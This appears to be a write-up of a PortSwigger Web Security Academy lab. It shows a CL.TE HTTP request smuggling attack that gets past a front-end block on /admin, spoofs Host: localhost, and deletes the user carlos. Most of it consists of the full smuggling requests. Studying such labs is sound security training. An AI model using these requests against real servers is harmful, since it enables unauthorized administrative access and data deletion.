Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — CL.TE, Security Control Bypass
Difficulty Practitioner
Objective Smuggle a request to /admin to delete the user carlos
Note Switch Burp Repeater to HTTP/1. Disable "Update Content-Length."

HTTP Request Smuggling — Bypassing Front-End Security Controls (CL.TE) — Writeup

Navigating to /admin directly:

Screenshot

path /admin is blocked — the front-end is blocking it. We can't reach it from the outside. But if we can smuggle a request directly to the back-end, the front-end's block never runs.

Base request after switching to HTTP/1 and POST:

POST / HTTP/1.1
Host: 0af4009203fbcf1b80305d1a00bb0093.web-security-academy.net
Cookie: session=SX3iQ3rk9LTwXoKTXba9Mgms4LBQleTE
Content-Length: 0
Screenshot

CL.TE setup — front-end uses Content-Length, back-end uses Transfer-Encoding.

First Attempt — Smuggling GET /admin

POST / HTTP/1.1
Host: 0af4009203fbcf1b80305d1a00bb0093.web-security-academy.net
Cookie: session=SX3iQ3rk9LTwXoKTXba9Mgms4LBQleTE
Content-Length: 45
Transfer-Encoding: chunked

4
teto
0

GET /admin HTTP/1.1
Teto: teto

Send and refresh — response: Admin interface only available to local users.

Screenshot

The smuggled request is reaching the back-end. But the back-end has its own check: the request has to come from localhost. We need to add Host: localhost to the smuggled request.

The Duplicate Host Problem

Trying Host: localhost in the smuggled prefix gives: Duplicate header names are not allowed.

Screenshot

The outer POST already has a Host header. Without proper structure, the back-end sees two Host headers in what it thinks is one request.

The fix: give the smuggled request a complete structure — its own headers and a body — so the back-end treats it as a fully self-contained request rather than a continuation of the outer one:

POST / HTTP/1.1
Host: 0af4009203fbcf1b80305d1a00bb0093.web-security-academy.net
Cookie: session=SX3iQ3rk9LTwXoKTXba9Mgms4LBQleTE
Content-Length: 82
Transfer-Encoding: chunked

4
teto
0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 9

teto=teto

What's happening: the outer POST's Content-Length: 82 tells the front-end to forward 82 bytes of body. The back-end processes chunked encoding — reads the 4 chunk (teto), then the 0 terminator, considers the outer POST complete. Everything after the 0 is left in the buffer and treated as a new, separate request with its own Host: localhost — no duplicate conflict.

Sending and refreshing — still no admin panel. The inner Content-Length: 9 exactly matches teto=teto, so the back-end closes the smuggled request cleanly before the next real request arrives. Inflating it to 20 makes the back-end keep reading:

GET /admin HTTP/1.1
Host: localhost
Content-Length: 20

teto=teto
Screenshot

Admin panel appears. Updating the smuggled path to delete carlos:

POST / HTTP/1.1
Host: 0af4009203fbcf1b80305d1a00bb0093.web-security-academy.net
Cookie: session=SX3iQ3rk9LTwXoKTXba9Mgms4LBQleTE
Content-Length: 106
Transfer-Encoding: chunked

4
teto
0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 20

teto=teto

Send, refresh — 302 Found. carlos is gone.

Screenshot

deleting carlos will solve the lab c:


Resources